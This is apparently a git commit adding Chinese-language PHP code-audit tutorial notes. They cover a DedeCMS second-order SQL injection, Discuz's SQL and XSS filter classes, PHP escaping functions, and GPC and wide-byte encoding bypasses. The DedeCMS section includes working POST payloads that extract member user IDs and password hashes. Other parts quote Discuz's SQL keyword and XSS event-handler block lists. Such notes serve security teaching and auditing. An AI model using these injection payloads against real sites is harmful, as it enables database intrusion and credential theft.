继续努力

master
高宏宇 2 months ago
parent cf248c0f37
commit 0d7f6f0374

@ -1,132 +1,69 @@
# ASCII 码表
| 十进制 | 十六进制 | 字符 | 描述 |
|--------|----------|-------|--------------------|
| 0 | 0x00 | NUL | 空字符 |
| 1 | 0x01 | SOH | 标题开始 |
| 2 | 0x02 | STX | 文本开始 |
| 3 | 0x03 | ETX | 文本结束 |
| 4 | 0x04 | EOT | 传输结束 |
| 5 | 0x05 | ENQ | 询问字符 |
| 6 | 0x06 | ACK | 确认字符 |
| 7 | 0x07 | BEL | 响铃 |
| 8 | 0x08 | BS | 退格 |
| 9 | 0x09 | HT | 水平制表符 |
| 10 | 0x0A | LF | 换行 |
| 11 | 0x0B | VT | 垂直制表符 |
| 12 | 0x0C | FF | 换页 |
| 13 | 0x0D | CR | 回车 |
| 14 | 0x0E | SO | 取消移位 |
| 15 | 0x0F | SI | 启用移位 |
| 16 | 0x10 | DLE | 数据链路转义 |
| 17 | 0x11 | DC1 | 设备控制1XON |
| 18 | 0x12 | DC2 | 设备控制2 |
| 19 | 0x13 | DC3 | 设备控制3XOFF |
| 20 | 0x14 | DC4 | 设备控制4 |
| 21 | 0x15 | NAK | 否定确认 |
| 22 | 0x16 | SYN | 同步空闲 |
| 23 | 0x17 | ETB | 传输块结束 |
| 24 | 0x18 | CAN | 取消 |
| 25 | 0x19 | EM | 介质结束 |
| 26 | 0x1A | SUB | 替换 |
| 27 | 0x1B | ESC | 退出 |
| 28 | 0x1C | FS | 文件分隔符 |
| 29 | 0x1D | GS | 组分隔符 |
| 30 | 0x1E | RS | 记录分隔符 |
| 31 | 0x1F | US | 单元分隔符 |
| 32 | 0x20 | SP | 空格 |
| 33 | 0x21 | ! | 感叹号 |
| 34 | 0x22 | " | 双引号 |
| 35 | 0x23 | # | 数字符号 |
| 36 | 0x24 | $ | 美元符号 |
| 37 | 0x25 | % | 百分号 |
| 38 | 0x26 | & | 和符号 |
| 39 | 0x27 | ' | 单引号 |
| 40 | 0x28 | ( | 左括号 |
| 41 | 0x29 | ) | 右括号 |
| 42 | 0x2A | * | 星号 |
| 43 | 0x2B | + | 加号 |
| 44 | 0x2C | , | 逗号 |
| 45 | 0x2D | - | 减号/横线 |
| 46 | 0x2E | . | 句点 |
| 47 | 0x2F | / | 斜杠 |
| 48 | 0x30 | 0 | 数字0 |
| 49 | 0x31 | 1 | 数字1 |
| 50 | 0x32 | 2 | 数字2 |
| 51 | 0x33 | 3 | 数字3 |
| 52 | 0x34 | 4 | 数字4 |
| 53 | 0x35 | 5 | 数字5 |
| 54 | 0x36 | 6 | 数字6 |
| 55 | 0x37 | 7 | 数字7 |
| 56 | 0x38 | 8 | 数字8 |
| 57 | 0x39 | 9 | 数字9 |
| 58 | 0x3A | : | 冒号 |
| 59 | 0x3B | ; | 分号 |
| 60 | 0x3C | < | 小于号 |
| 61 | 0x3D | = | 等号 |
| 62 | 0x3E | > | 大于号 |
| 63 | 0x3F | ? | 问号 |
| 64 | 0x40 | @ | 商业符号 |
| 65 | 0x41 | A | 大写字母A |
| 66 | 0x42 | B | 大写字母B |
| 67 | 0x43 | C | 大写字母C |
| 68 | 0x44 | D | 大写字母D |
| 69 | 0x45 | E | 大写字母E |
| 70 | 0x46 | F | 大写字母F |
| 71 | 0x47 | G | 大写字母G |
| 72 | 0x48 | H | 大写字母H |
| 73 | 0x49 | I | 大写字母I |
| 74 | 0x4A | J | 大写字母J |
| 75 | 0x4B | K | 大写字母K |
| 76 | 0x4C | L | 大写字母L |
| 77 | 0x4D | M | 大写字母M |
| 78 | 0x4E | N | 大写字母N |
| 79 | 0x4F | O | 大写字母O |
| 80 | 0x50 | P | 大写字母P |
| 81 | 0x51 | Q | 大写字母Q |
| 82 | 0x52 | R | 大写字母R |
| 83 | 0x53 | S | 大写字母S |
| 84 | 0x54 | T | 大写字母T |
| 85 | 0x55 | U | 大写字母U |
| 86 | 0x56 | V | 大写字母V |
| 87 | 0x57 | W | 大写字母W |
| 88 | 0x58 | X | 大写字母X |
| 89 | 0x59 | Y | 大写字母Y |
| 90 | 0x5A | Z | 大写字母Z |
| 91 | 0x5B | [ | 左方括号 |
| 92 | 0x5C | \ | 反斜杠 |
| 93 | 0x5D | ] | 右方括号 |
| 94 | 0x5E | ^ | 脱字符 |
| 95 | 0x5F | _ | 下划线 |
| 96 | 0x60 | ` | 反引号 |
| 97 | 0x61 | a | 小写字母a |
| 98 | 0x62 | b | 小写字母b |
| 99 | 0x63 | c | 小写字母c |
| 100 | 0x64 | d | 小写字母d |
| 101 | 0x65 | e | 小写字母e |
| 102 | 0x66 | f | 小写字母f |
| 103 | 0x67 | g | 小写字母g |
| 104 | 0x68 | h | 小写字母h |
| 105 | 0x69 | i | 小写字母i |
| 106 | 0x6A | j | 小写字母j |
| 107 | 0x6B | k | 小写字母k |
| 108 | 0x6C | l | 小写字母l |
| 109 | 0x6D | m | 小写字母m |
| 110 | 0x6E | n | 小写字母n |
| 111 | 0x6F | o | 小写字母o |
| 112 | 0x70 | p | 小写字母p |
| 113 | 0x71 | q | 小写字母q |
| 114 | 0x72 | r | 小写字母r |
| 115 | 0x73 | s | 小写字母s |
| 116 | 0x74 | t | 小写字母t |
| 117 | 0x75 | u | 小写字母u |
| 118 | 0x76 | v | 小写字母v |
| 119 | 0x77 | w | 小写字母w |
| 120 | 0x78 | x | 小写字母x |
| 121 | 0x79 | y | 小写字母y |
| 122 | 0x7A | z | 小写字母z |
| 123 | 0x7B | { | 左花括号 |
| 124 | 0x7C | \| | 竖线 |
| 125 | 0x7D | } | 右花括号 |
| 126 | 0x7E | ~ | 波浪号 |
| 127 | 0x7F | DEL | 删除 |
| 十进制 | 十六进制 | 字符 | 描述 | * | 十进制 | 十六进制 | 字符 | 描述 |
|--------|----------|-------|--------------------|--------|----------|-------|--------------------|--------------------|
| 0 | 0x00 | NUL | 空字符 | | 64 | 0x40 | @ | 商业符号 |
| 1 | 0x01 | SOH | 标题开始 | | 65 | 0x41 | A | 大写字母A |
| 2 | 0x02 | STX | 文本开始 | | 66 | 0x42 | B | 大写字母B |
| 3 | 0x03 | ETX | 文本结束 | | 67 | 0x43 | C | 大写字母C |
| 4 | 0x04 | EOT | 传输结束 | | 68 | 0x44 | D | 大写字母D |
| 5 | 0x05 | ENQ | 询问字符 | | 69 | 0x45 | E | 大写字母E |
| 6 | 0x06 | ACK | 确认字符 | | 70 | 0x46 | F | 大写字母F |
| 7 | 0x07 | BEL | 响铃 | | 71 | 0x47 | G | 大写字母G |
| 8 | 0x08 | BS | 退格 | | 72 | 0x48 | H | 大写字母H |
| 9 | 0x09 | HT | 水平制表符 | | 73 | 0x49 | I | 大写字母I |
| 10 | 0x0A | LF | 换行 | | 74 | 0x4A | J | 大写字母J |
| 11 | 0x0B | VT | 垂直制表符 | | 75 | 0x4B | K | 大写字母K |
| 12 | 0x0C | FF | 换页 | | 76 | 0x4C | L | 大写字母L |
| 13 | 0x0D | CR | 回车 | | 77 | 0x4D | M | 大写字母M |
| 14 | 0x0E | SO | 取消移位 | | 78 | 0x4E | N | 大写字母N |
| 15 | 0x0F | SI | 启用移位 | | 79 | 0x4F | O | 大写字母O |
| 16 | 0x10 | DLE | 数据链路转义 | | 80 | 0x50 | P | 大写字母P |
| 17 | 0x11 | DC1 | 设备控制1XON | | 81 | 0x51 | Q | 大写字母Q |
| 18 | 0x12 | DC2 | 设备控制2 | | 82 | 0x52 | R | 大写字母R |
| 19 | 0x13 | DC3 | 设备控制3XOFF | | 83 | 0x53 | S | 大写字母S |
| 20 | 0x14 | DC4 | 设备控制4 | | 84 | 0x54 | T | 大写字母T |
| 21 | 0x15 | NAK | 否定确认 | | 85 | 0x55 | U | 大写字母U |
| 22 | 0x16 | SYN | 同步空闲 | | 86 | 0x56 | V | 大写字母V |
| 23 | 0x17 | ETB | 传输块结束 | | 87 | 0x57 | W | 大写字母W |
| 24 | 0x18 | CAN | 取消 | | 88 | 0x58 | X | 大写字母X |
| 25 | 0x19 | EM | 介质结束 | | 89 | 0x59 | Y | 大写字母Y |
| 26 | 0x1A | SUB | 替换 | | 90 | 0x5A | Z | 大写字母Z |
| 27 | 0x1B | ESC | 退出 | | 91 | 0x5B | [ | 左方括号 |
| 28 | 0x1C | FS | 文件分隔符 | | 92 | 0x5C | \ | 反斜杠 |
| 29 | 0x1D | GS | 组分隔符 | | 93 | 0x5D | ] | 右方括号 |
| 30 | 0x1E | RS | 记录分隔符 | | 94 | 0x5E | ^ | 脱字符 |
| 31 | 0x1F | US | 单元分隔符 | | 95 | 0x5F | _ | 下划线 |
| 32 | 0x20 | SP | 空格 | | 96 | 0x60 | ` | 反引号 |
| 33 | 0x21 | ! | 感叹号 | | 97 | 0x61 | a | 小写字母a |
| 34 | 0x22 | " | 双引号 | | 98 | 0x62 | b | 小写字母b |
| 35 | 0x23 | # | 数字符号 | | 99 | 0x63 | c | 小写字母c |
| 36 | 0x24 | $ | 美元符号 | | 100 | 0x64 | d | 小写字母d |
| 37 | 0x25 | % | 百分号 | | 101 | 0x65 | e | 小写字母e |
| 38 | 0x26 | & | 和符号 | | 102 | 0x66 | f | 小写字母f |
| 39 | 0x27 | ' | 单引号 | | 103 | 0x67 | g | 小写字母g |
| 40 | 0x28 | ( | 左括号 | | 104 | 0x68 | h | 小写字母h |
| 41 | 0x29 | ) | 右括号 | | 105 | 0x69 | i | 小写字母i |
| 42 | 0x2A | * | 星号 | | 106 | 0x6A | j | 小写字母j |
| 43 | 0x2B | + | 加号 | | 107 | 0x6B | k | 小写字母k |
| 44 | 0x2C | , | 逗号 | | 108 | 0x6C | l | 小写字母l |
| 45 | 0x2D | - | 减号/横线 | | 109 | 0x6D | m | 小写字母m |
| 46 | 0x2E | . | 句点 | | 110 | 0x6E | n | 小写字母n |
| 47 | 0x2F | / | 斜杠 | | 111 | 0x6F | o | 小写字母o |
| 48 | 0x30 | 0 | 数字0 | | 112 | 0x70 | p | 小写字母p |
| 49 | 0x31 | 1 | 数字1 | | 113 | 0x71 | q | 小写字母q |
| 50 | 0x32 | 2 | 数字2 | | 114 | 0x72 | r | 小写字母r |
| 51 | 0x33 | 3 | 数字3 | | 115 | 0x73 | s | 小写字母s |
| 52 | 0x34 | 4 | 数字4 | | 116 | 0x74 | t | 小写字母t |
| 53 | 0x35 | 5 | 数字5 | | 117 | 0x75 | u | 小写字母u |
| 54 | 0x36 | 6 | 数字6 | | 118 | 0x76 | v | 小写字母v |
| 55 | 0x37 | 7 | 数字7 | | 119 | 0x77 | w | 小写字母w |
| 56 | 0x38 | 8 | 数字8 | | 120 | 0x78 | x | 小写字母x |
| 57 | 0x39 | 9 | 数字9 | | 121 | 0x79 | y | 小写字母y |
| 58 | 0x3A | : | 冒号 | | 122 | 0x7A | z | 小写字母z |
| 59 | 0x3B | ; | 分号 | | 123 | 0x7B | { | 左花括号 |
| 60 | 0x3C | < | 小于号 | | 124 | 0x7C | \| | 竖线 |
| 61 | 0x3D | = | 等号 | | 125 | 0x7D | } | 右花括号 |
| 62 | 0x3E | > | 大于号 | | 126 | 0x7E | ~ | 波浪号 |
| 63 | 0x3F | ? | 问号 | | 127 | 0x7F | DEL | 删除 |

@ -0,0 +1,120 @@
- [1. 二次漏洞审计](#1-二次漏洞审计)
- [1.1. dedecms二次注入漏洞分析](#11-dedecms二次注入漏洞分析)
- [1.2. 漏洞浮现](#12-漏洞浮现)
# 1. 二次漏洞审计
大多数应用只要肯仔细去通读研究全文代码,理解业务逻辑,还是能挖出来部分二次漏洞的。
二次漏洞定义
需要先构造好利用代码写入网站保存,在第二次或多次请求后调用攻击代码触发或者修改配置触发的漏洞叫做二次漏洞。
![alt text](img/二次漏洞流程图.drawio.png)
二次漏洞审计技巧
- 通过相关关键字去定位,比如可以根据数据库字段、数据表名等去代码中搜索;
- 最好还是把全部代码读一遍;
- 业务逻辑越是复杂的地方越容易岀现二次漏洞,我们可以重点关注购物车、订单,另外还有引用数据、文章编辑、草稿等。
- 这些地方是跟数据库交互的;
- 跟文件系统交互的是系统配置文件;
- 在二次漏洞类型里面我们可以重点关注SQL注入、XSS。
## 1.1. dedecms二次注入漏洞分析
```php
//保存评论内容 line 218
if($comtype == 'comments')
{
$arctitle = addslashes($title);
if($msg!='')
{
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ";
$rs = $dsql->ExecuteNoneQuery($inquery);
if(!$rs)
{
ShowMsg(' 发表评论错误! ', '-1');
//echo $dsql->GetError();
exit();
}
}
}
```
这段代码保存用户评论到数据库,并对评论的标题 $title 的内容进行了 addslashes 操作。再往下看:
```php
//引用回复 line 234
elseif ($comtype == 'reply')
{
$row = $dsql->GetOne("Select * from `#@__feedback` where id ='$fid'");
$arctitle = $row['arctitle'];
$aid =$row['aid'];
$msg = $quotemsg.$msg;
$msg = HtmlReplace($msg,2);
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
file_put_contents("1.txt", $inquery);
$dsql->ExecuteNoneQuery($inquery);
}
```
当回复评论的时候,首先根据 $fid 找到需要引用的评论,然后把评论的标题直接赋值给了 $arctitle 变量。而在 $inquery 插入新的评论的时候,直接使用了 $arctitle 变量,没有对其中的特殊字符进行过滤。
加入我们插入评论的 title 是字符串 11'
下图展示了漏洞的原理,单引号被成功注入!
![alt text](img/dedecms原理.drawio.png)
## 1.2. 漏洞浮现
在FireFox中安装HackBar V2
![alt text](img/image-20251030095952805.png)
登录后台管理页面http://localhost/dedecms/dede ;在栏目管理中增加一个栏目:例如**顶级栏目**。
![image-20251030100750730](img/image-20251030100750730.png)
退出登录,回到主页面,注册一个新用户:
![image-20251030100905871](img/image-20251030100905871.png)
用新用户登录,进入会员中心:
![image-20251030103605769](img/image-20251030103605769.png)
在内容中心中发布文章:
![image-20251030103708468](img/image-20251030103708468.png)
发表一篇新文章:
![image-20251030103840478](img/image-20251030103840478.png)
在后续的界面点击查看文章:
![image-20251030103929308](img/image-20251030103929308.png)
注意这篇文章的aid
![image-20251030104008843](img/image-20251030104008843.png)
在这个页面中通过F12打开Firefox的调试模式
![image-20251030104359640](img/image-20251030104359640.png)
1. 切换到 HackBar 选单;
2. 输入URL```http://localhost/dedecms/plus/feedback.php?aid=2``` 注意其中的aid需要和你刚刚的aid一致
3. 勾选 Post data
4. 写入Post的值注意validate的值需要和图片验证码一致aid需要和前面的aid一致。```action=send&comtype=comments&aid=2&isconfirm=yes&msg=xx&validate=WZAR&title=xx',(char(@`'`)),/* ```
5. 点击执行。查看数据库中的 dede_feedback 表,刚刚的评论内容:![image-20251030105236198](img/image-20251030105236198.png)
6. 修改post的内容为同样注意validate的值需要和图片验证码一致```action=send&comtype=reply&fid=1&isconfirm=yes&validate=ANEP&msg=*/1,2,3,4,5,6,7, (select/**/concat(userid,0x3a,pwd)/**/from/**/dede_member/**/limit/**/1))%23```,点击执行。
![image-20251030113214493](img/image-20251030113214493.png)
注意:有时需要在**会员中心**的**个人空间**找到你发的贴然后再进行回复。

Binary file not shown.

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 43 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 65 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 23 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 24 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 24 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 14 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 50 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 116 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 113 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

@ -0,0 +1,339 @@
- [1. 第三方过滤函数与类](#1-第三方过滤函数与类)
- [1.1. discuz SQL安全过滤类分析](#11-discuz-sql安全过滤类分析)
- [1.2. discuz XSS标签过滤函数分析](#12-discuz-xss标签过滤函数分析)
- [2. PHP内置过滤函数](#2-php内置过滤函数)
- [2.1. SQL注入过滤函数](#21-sql注入过滤函数)
- [2.2. XSS注入过滤函数](#22-xss注入过滤函数)
- [2.3. 命令执行过滤函数](#23-命令执行过滤函数)
# 1. 第三方过滤函数与类
目前大多数应用都有一个参数过滤的统一入口类似于dedecms的代码。
```/include/common.inc.php```
```php
foreach(Array('_GET','_POST','_COOKIE') as $_request) // line 52
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
```
_RunMagicQuotes 函数
```php
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar);
}
}
return $svar;
}
```
这里的确使用了 ```addslashes```函数对特定的字符进行转义,但是还不够完善。
## 1.1. discuz SQL安全过滤类分析
discuz专门有一个SQL注入过滤类来过滤SQL注入请求```/config/config global.php```中。
```php
// ------------------------- CONFIG SECURITY -------------------------- // line 57
$_config['security']['authkey'] = '2e4617iIZ7jIVt61';
$_config['security']['urlxssdefend'] = 1;
$_config['security']['attackevasive'] = '0';
$_config['security']['querysafe']['status'] = 1;
$_config['security']['querysafe']['dfunction']['0'] = 'load_file';
$_config['security']['querysafe']['dfunction']['1'] = 'hex';
$_config['security']['querysafe']['dfunction']['2'] = 'substring';
$_config['security']['querysafe']['dfunction']['3'] = 'if';
$_config['security']['querysafe']['dfunction']['4'] = 'ord';
$_config['security']['querysafe']['dfunction']['5'] = 'char';
$_config['security']['querysafe']['daction']['0'] = '@';
$_config['security']['querysafe']['daction']['1'] = 'intooutfile';
$_config['security']['querysafe']['daction']['2'] = 'intodumpfile';
$_config['security']['querysafe']['daction']['3'] = 'unionselect';
$_config['security']['querysafe']['daction']['4'] = '(select';
$_config['security']['querysafe']['daction']['5'] = 'unionall';
$_config['security']['querysafe']['daction']['6'] = 'uniondistinct';
$_config['security']['querysafe']['dnote']['0'] = '/*';
$_config['security']['querysafe']['dnote']['1'] = '*/';
$_config['security']['querysafe']['dnote']['2'] = '#';
$_config['security']['querysafe']['dnote']['3'] = '--';
$_config['security']['querysafe']['dnote']['4'] = '"';
$_config['security']['querysafe']['dlikehex'] = 1;
$_config['security']['querysafe']['afullnote'] = '0';
```
- ```$_config['security']['querysafe']['status'] = 1;```设置是否开启SQL注入防御这个选项默认开启
- ```'daction']```和```['dnote']```都是SQL注入过滤类的过滤规则规则里包含了常见的注入关键字
- Discuz 执行 SQL 语句之前会调用 \source\class\discuz\discuz_database.php 文件 discuz_database_safecheck类
- 下面的checkquery($sql)函数进行过滤
```php
public static function checkquery($sql) { // line 347
if (self::$config === null) {
self::$config = getglobal('config/security/querysafe');
}
if (self::$config['status']) {
$check = 1;
$cmd = strtoupper(substr(trim($sql), 0, 3));
if(isset(self::$checkcmd[$cmd])) {
$check = self::_do_query_safe($sql);
} elseif(substr($cmd, 0, 2) === '/*') {
$check = -1;
}
if ($check < 1) {
throw new DbException('It is not safe to do this query', 0, $sql);
}
}
return true;
}
```
从代码中可以看到程序首先加载配置文件中的config/security/querysafe根据 $config['status']判断 SQL 注入防御是否开启,再到 $check = self::_do_query_safe($sql); 可以看到该函数又调用了同类下的_do_query_safe()函数对SQL语句进行过滤。
```php
private static function _do_query_safe($sql) {
$sql = str_replace(array('\\\\', '\\\'', '\\"', '\'\''), '', $sql);
$mark = $clean = '';
if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false && strpos($sql, '@') === false && strpos($sql, '`') === false) {
$clean = preg_replace("/'(.+?)'/s", '', $sql);
} else {
$len = strlen($sql);
$mark = $clean = '';
for ($i = 0; $i < $len; $i++) {
$str = $sql[$i];
switch ($str) {
case '`':
if(!$mark) {
$mark = '`';
$clean .= $str;
} elseif ($mark == '`') {
$mark = '';
}
break;
case '\'':
if (!$mark) {
$mark = '\'';
$clean .= $str;
} elseif ($mark == '\'') {
$mark = '';
}
break;
case '/':
if (empty($mark) && $sql[$i + 1] == '*') {
$mark = '/*';
$clean .= $mark;
$i++;
} elseif ($mark == '/*' && $sql[$i - 1] == '*') {
$mark = '';
$clean .= '*';
}
break;
case '#':
if (empty($mark)) {
$mark = $str;
$clean .= $str;
}
break;
case "\n":
if ($mark == '#' || $mark == '--') {
$mark = '';
}
break;
case '-':
if (empty($mark) && substr($sql, $i, 3) == '-- ') {
$mark = '-- ';
$clean .= $mark;
}
break;
default:
break;
}
$clean .= $mark ? '' : $str;
}
}
if(strpos($clean, '@') !== false) {
return '-3';
}
$clean = preg_replace("/[^a-z0-9_\-\(\)#\*\/\"]+/is", "", strtolower($clean));
if (self::$config['afullnote']) {
$clean = str_replace('/**/', '', $clean);
}
if (is_array(self::$config['dfunction'])) {
foreach (self::$config['dfunction'] as $fun) {
if (strpos($clean, $fun . '(') !== false)
return '-1';
}
}
if (is_array(self::$config['daction'])) {
foreach (self::$config['daction'] as $action) {
if (strpos($clean, $action) !== false)
return '-3';
}
}
if (self::$config['dlikehex'] && strpos($clean, 'like0x')) {
return '-2';
}
if (is_array(self::$config['dnote'])) {
foreach (self::$config['dnote'] as $note) {
if (strpos($clean, $note) !== false)
return '-4';
}
}
return 1;
}
```
该函数首先使用```$sql = str_replace(array('\\\\', '\\\'', '\\"', '\'\''), '', $sql);```将SQL语句中的\\、\'、\"以及'、"替换为空紧接着是一个if else判断逻辑来选择过滤的方式
```$clean = preg_replace("/'(.+?)'/s", '', $sql);```
- 这段代码表示当SQL语句里存在'/'、'#'、'-- '、'@'、'`'这些字符时,则直接调用 preg_replace()函数将单引号(')中间的内容替换为空
- 正则表达式中?匹配前面的子表达式零次或一次。
- /s默认情况下的圆点 . 是匹配除换行符 \n 之外的任何字符,加上 s 修饰符之后,圆点 . 中包含换行符 \n。
else条件中是对整段SQL语句进行逐个字符进行判断:
```php
else {
$len = strlen($sql);
$mark = $clean = '';
for ($i = 0; $i < $len; $i++) {
```
```php
case '/':
if (empty($mark) && $sql[$i + 1] == '*') {
$mark = '/*';
$clean .= $mark;
$i++;
} elseif ($mark == '/*' && $sql[$i - 1] == '*') {
$mark = '';
$clean .= '*';
}
break;
```
这段代码的逻辑是当检查到SQL语句中存在斜杠(/)时,则去判断下一个字符是不是星号(*),如果是星号(*)就把这两个字符拼接起来,即/*,然后继续判断下一个字符是不是星号(*),如果是星号则再继续拼接起来,得到/**
最后在如下代码中判断是否存在原来拦截规则里面定义的字符如果存在则拦截SQL语句执行
```php
if (is_array(self::$config['dnote'])) {
foreach (self::$config['dnote'] as $note) {
if (strpos($clean, $note) !== false)
return '-4';
}
}
```
## 1.2. discuz XSS标签过滤函数分析
在XSS的防御上只要过滤掉尖括号以及单、 双引号就能干掉绝大部分的payload。
下面是discuz的HTML标签过滤代码在/source/function/function_blog.php文件中
```php
function checkhtml($html) { // line 271
if(!checkperm('allowhtml')) {
preg_match_all("/\<([^\<]+)\>/is", $html, $ms);
$searchs[] = '<';
$replaces[] = '&lt;';
$searchs[] = '>';
$replaces[] = '&gt;';
if($ms[1]) {
$allowtags = 'img|a|font|div|table|tbody|caption|tr|td|th|br|p|b|strong|i|u|em|span|ol|ul|li|blockquote';
$ms[1] = array_unique($ms[1]);
foreach ($ms[1] as $value) {
$searchs[] = "&lt;".$value."&gt;";
$value = str_replace('&amp;', '_uch_tmp_str_', $value);
$value = dhtmlspecialchars($value);
$value = str_replace('_uch_tmp_str_', '&amp;', $value);
$value = str_replace(array('\\','/*'), array('.','/.'), $value);
$skipkeys = array('onabort','onactivate','onafterprint','onafterupdate','onbeforeactivate','onbeforecopy','onbeforecut','onbeforedeactivate',
'onbeforeeditfocus','onbeforepaste','onbeforeprint','onbeforeunload','onbeforeupdate','onblur','onbounce','oncellchange','onchange',
'onclick','oncontextmenu','oncontrolselect','oncopy','oncut','ondataavailable','ondatasetchanged','ondatasetcomplete','ondblclick',
'ondeactivate','ondrag','ondragend','ondragenter','ondragleave','ondragover','ondragstart','ondrop','onerror','onerrorupdate',
'onfilterchange','onfinish','onfocus','onfocusin','onfocusout','onhelp','onkeydown','onkeypress','onkeyup','onlayoutcomplete',
'onload','onlosecapture','onmousedown','onmouseenter','onmouseleave','onmousemove','onmouseout','onmouseover','onmouseup','onmousewheel',
'onmove','onmoveend','onmovestart','onpaste','onpropertychange','onreadystatechange','onreset','onresize','onresizeend','onresizestart',
'onrowenter','onrowexit','onrowsdelete','onrowsinserted','onscroll','onselect','onselectionchange','onselectstart','onstart','onstop',
'onsubmit','onunload','javascript','script','eval','behaviour','expression','style','class');
$skipstr = implode('|', $skipkeys);
$value = preg_replace(array("/($skipstr)/i"), '.', $value);
if(!preg_match("/^[\/|\s]?($allowtags)(\s+|$)/is", $value)) {
$value = '';
}
$replaces[] = empty($value)?'':"<".str_replace('&quot;', '"', $value).">";
}
}
$html = str_replace($searchs, $replaces, $html);
}
return $html;
}
```
```preg_match_all("/\<([^\<]+)\>/is", $html, $ms);```正则取岀来尖括号中间的内容然后在if($ms[l])这个if条件里对这些标签中的关键字进行筛选。
```$skipkeys```变量定义了很多on事件的敏感字符。
最后拼接正则将这些字符串替换掉。
```php
$skipstr = implode('|', $skipkeys);
$value = preg_replace(array("/($skipstr)/i"), '.', $value);
```
# 2. PHP内置过滤函数
## 2.1. SQL注入过滤函数
- SQL 注入过滤函数有 addslashes()、mysql_real_escape_string()以及 mysql_escape_string(),
- 它们的作用都是给字符串添加反斜杠(\)来转义掉单引号(')、双引号('')、反斜线(\)以及空字符 NULL。
## 2.2. XSS注入过滤函数
htmlspecialchars()函数的作用是将字符串中的特殊字符转换成HTML实体编码
- 如```&``` 转换成```&amp;```
- ```"``` 转换成```&quot;```
- ```'``` 转换成```&#039;```
- ```<``` 转换成```&lt;```
- ```>``` 转换成```&gt;```
strip_tags()函数则是用来去掉HTML及PHP标记比如给这个函数传入 ```<h1>xxxxx</h1>```经过它处理后返回的字符串为 ```xxxxx```。
## 2.3. 命令执行过滤函数
PHP为了防止系统命令注入的漏洞提供了 [escapeshellcmd()](https://www.php.net/manual/zh/function.escapeshellcmd.php)和[escapeshellarg()]()两个函数对参数进行过滤。

@ -0,0 +1,519 @@
- [1. GPC等转义的绕过](#1-gpc等转义的绕过)
- [1.1. 编码转换问题](#11-编码转换问题)
- [2. 神奇的字符串](#2-神奇的字符串)
- [2.1. 字符处理函数报错信息泄露](#21-字符处理函数报错信息泄露)
- [2.2. iconv函数字符编码转换截断](#22-iconv函数字符编码转换截断)
- [3. php://输入输出流](#3-php输入输出流)
- [3.1. php://input](#31-phpinput)
- [3.2. php://output和php://filter](#32-phpoutput和phpfilter)
- [3.2.1. php://filter写文件](#321-phpfilter写文件)
- [3.2.2. php://filter读文件](#322-phpfilter读文件)
- [4. PHP代码解析标签](#4-php代码解析标签)
- [5. fuzz漏洞发现](#5-fuzz漏洞发现)
- [6. 不严谨的正则表达式](#6-不严谨的正则表达式)
- [6.1. 没有使用^和$限定匹配开始/结束位置](#61-没有使用和限定匹配开始结束位置)
- [6.2. 特殊字符未转义](#62-特殊字符未转义)
- [7. 十余种MySQL报错注入](#7-十余种mysql报错注入)
- [8. Windows FindFirstFile 利用](#8-windows-findfirstfile-利用)
- [9. PHP可变变量](#9-php可变变量)
转义绕过、字符串常见的安全问题、PHP输入输出流、FUZZ挖掘漏洞以及正则表达式不严谨。
# 1. GPC等转义的绕过
- GPC会自动把提交上去的单引号等敏感字符给转义掉
- 在PHP5之后用$_SERVER取到的header字段不受GPC影响
- 在header注入里面最常见的是user-agent 、referer 以及client-ip/x-forward-for
- $_FILES变量也不受GPC保护测试代码
```php
<?php
header("Content-Type:text/html;charset=utf-8");//PHP显示中文
echo "不受GPC保护的$_SERVER和$_FILES"."<br />";
echo 'GPC目前的值为 '.get_magic_quotes_gpc();
echo '<br />client-ip= ' . $_SERVER["HTTP_CLIENT_IP"];
echo '<br />$_GET[a]= ' . $_GET[a];
?>
```
![image-20251030143432746](img/image-20251030143432746.png)
然后在浏览器中访问:
```
http://localhost/2020CodeAudit/c8/8-1-1-gpc-server.php?a=1'
```
看看发送包:
![image-20251030143549509](img/image-20251030143549509.png)
右键点中这个记录Send to repeater
![image-20251030143757610](img/image-20251030143757610.png)
添加 http头发送Send
```
client-ip: a'
```
最后结果显示$_SERVER 中的环境变量并没有进行特殊字符的转义。
## 1.1. 编码转换问题
```php
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<?php
echo "mb_convert_encoding函数使用举例"."<br />";
$sql = "where id = '" . urldecode("-1%df%5c' -- ") . "'";
print_r(mb_convert_encoding($sql,"UTF-8","GBK"));//编码转换函数
echo '<br />';
print_r($sql);
?>
```
```
http://localhost/2020CodeAudit/c8/8-1-2-covert-encode.php
```
结果:
```
mb_convert_encoding函数使用举例
where id = '-1運' -- '
where id = '-1<>\' -- '
```
这就是以前讲的宽字节注入的漏洞,只不过这里使用 mb_convert_encoding 函数把UTF8转码到 GBK 进行模拟。可以看看源文件的编码是UTF8。
书上 144 页有个例子
# 2. 神奇的字符串
## 2.1. 字符处理函数报错信息泄露
